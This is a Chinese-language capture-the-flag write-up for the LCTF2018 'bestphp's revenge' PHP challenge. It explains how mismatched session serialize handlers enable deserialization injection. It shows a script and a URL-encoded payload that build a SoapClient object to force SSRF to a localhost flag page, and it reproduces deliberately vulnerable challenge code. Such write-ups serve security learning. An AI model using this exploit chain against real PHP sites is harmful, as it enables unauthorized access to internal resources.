LCTF2018-bestphp's revenge 詳細題解

  • 2019 年 10 月 8 日
  • 筆記

被LCTF虐自閉了,但是也學到了不少東西。題目品質和運維都很贊。

題目

題目給了源碼

<?php  highlight_file(__FILE__);  $b = 'implode';  call_user_func($_GET[f],$_POST);  session_start();  if(isset($_GET[name])){      $_SESSION[name] = $_GET[name];  }  var_dump($_SESSION);  $a = array(reset($_SESSION),'welcome_to_the_lctf2018');  call_user_func($b,$a);  ?>  

這裡只需要關注call_user_func這個回調函數。 call_user_func — 把第一個參數作為回調函數調用,第一個參數是被調用的回調函數,其餘參數是回調函數的參數。 這裡調用的回調函數不僅僅是我們自定義的函數,還可以是php的內置函數。比如下面我們會用到的extract。 這裡需要注意當我們的第一個參數為數組時,會把第一個值當作類名,第二個值當作方法進行回調。 例如

<?php  class myclass{      static function say_hello(){          echo "hello!";      }  }  $classname = "myclass";  call_user_func(array($classname,'say_hello'));  

結果就會調用類myclass中的say_hello方法,輸出hello!。 還有一個flag.php

session_start();  echo 'only localhost can get flag!';  $flag = 'LCTF{*************************}';  if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){         $_SESSION['flag'] = $flag;     }  only localhost can get flag!  

首先想到的是需要構造ssrf去訪問flag.php,然後獲取flag。再利用變數覆蓋把SESSION中的flag列印出來。

PHP中SESSION反序列化機制

可以參考乘物游心師傅的文章:https://blog.spoock.com/2016/10/16/php-serialize-problem/ 在尋找可以接收數組並且能夠SSRF的函數時,題目給了hint:反序列化。 題目中並沒有反序列化函數,由於session文件內容的格式不好控制,也無法利用phar://進行反序列化,那麼基本就可以確定題目與PHP中SESSION的反序列化機制有關。 我們可以利用回調函數來覆蓋session默認的序列化引擎。 阿樺師傅的XCTF Final Web1 Writeup:https://www.jianshu.com/p/7d63eca80686中有類似的方法,利用回調函數調用session_start函數,修改session的位置,再配合LFI進行getshell。

php中的session中的內容並不是放在記憶體中的,而是以文件的方式來存儲的,存儲方式就是由配置項session.save_handler來進行確定的,默認是以文件的方式存儲。 存儲的文件是以sess_sessionid來進行命名的,文件的內容就是session值的序列話之後的內容。 在php.ini中存在三項配置項:

session.save_path=""   --設置session的存儲路徑  session.save_handler="" --設定用戶自定義存儲函數,如果想使用PHP內置會話存儲機制之外的可以使用本函數(資料庫等方式)  session.serialize_handler   string --定義用來序列化/反序列化的處理器名字。默認是php(5.5.4後改為php_serialize)  

session.serialize_handler存在以下幾種

php_binary 鍵名的長度對應的ascii字元+鍵名+經過serialize()函數序列化後的值  php 鍵名+豎線(|)+經過serialize()函數處理過的值  php_serialize 經過serialize()函數處理過的值,會將鍵名和值當作一個數組序列化  

在PHP中默認使用的是PHP引擎,如果要修改為其他的引擎,只需要添加程式碼ini_set('session.serialize_handler', '需要設置的引擎');。 php_binary引擎格式

<0x04>names:5:"Smi1e";  

php引擎格式

name|s:5:"Smi1e";  

php_searialize引擎格式

a:1:{s:4:"name";s:5:"Smi1e";}  

當序列化的引擎和反序列化的引擎不一致時,就可以利用引擎之間的差異產生序列化注入漏洞。 例如傳入$_SESSION['name']='|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}'; 序列化引擎使用的是php_serialize,那麼儲存的session文件為

a:1:{s:4:"name";s:5:"|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}";}  

而反序列化引擎如果使用的是php,就會把|作為作為key和value的分隔符。把a:1:{s:4:"name";s:5:"當作鍵名,而把O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}當作經過serialize()函數處理過的值,最後會把它進行unserialize處理,此時就構成了一次反序列化注入攻擊。

尋找可以SSRF的類

題目中的源碼並沒有類,因此只能去利用php的原生類。 在l3m0n師傅的文章中找到可以利用php原生類SoapClient中的__call方法進行SSRF。 原文地址:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label1_0 那麼本題的思路就清晰了。 利用回調函數覆蓋session序列化引擎為php_serilaze,構造SSRF的Soap類的序列化字元串配合序列化注入寫入session文件,然後利用變數覆蓋漏洞,覆蓋掉變數b為回調函數call_user_func,此時結合我剛開始所說的回調函數調用Soap類的未知方法,觸發__call方法進行SSRF訪問flag.php。把flag寫入session,再把session列印出來即可。

解題

構造SSRF的Soap類的序列化字元串

<?php  $url = "http://127.0.0.1/flag.php";  $b = new SoapClient(null, array('uri' => $url, 'location' => $url));  $a = serialize($b);  $a = str_replace('^^', "rn", $a);  echo "|" . urlencode($a);  ?>  

本地生成payload:|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D 覆蓋序列化引擎並將構造的Soap類序列化字元串寫入session文件。

此時session_start()序列化使用的是php引擎。接下里我們覆蓋變數b,利用call_user_func調用SoapClient類中的不存在方法,觸發__call方法,執行ssrf。並獲得訪問flag.php的PHPSESSID。

獲得的PHPSESSID的SESSION中的flag。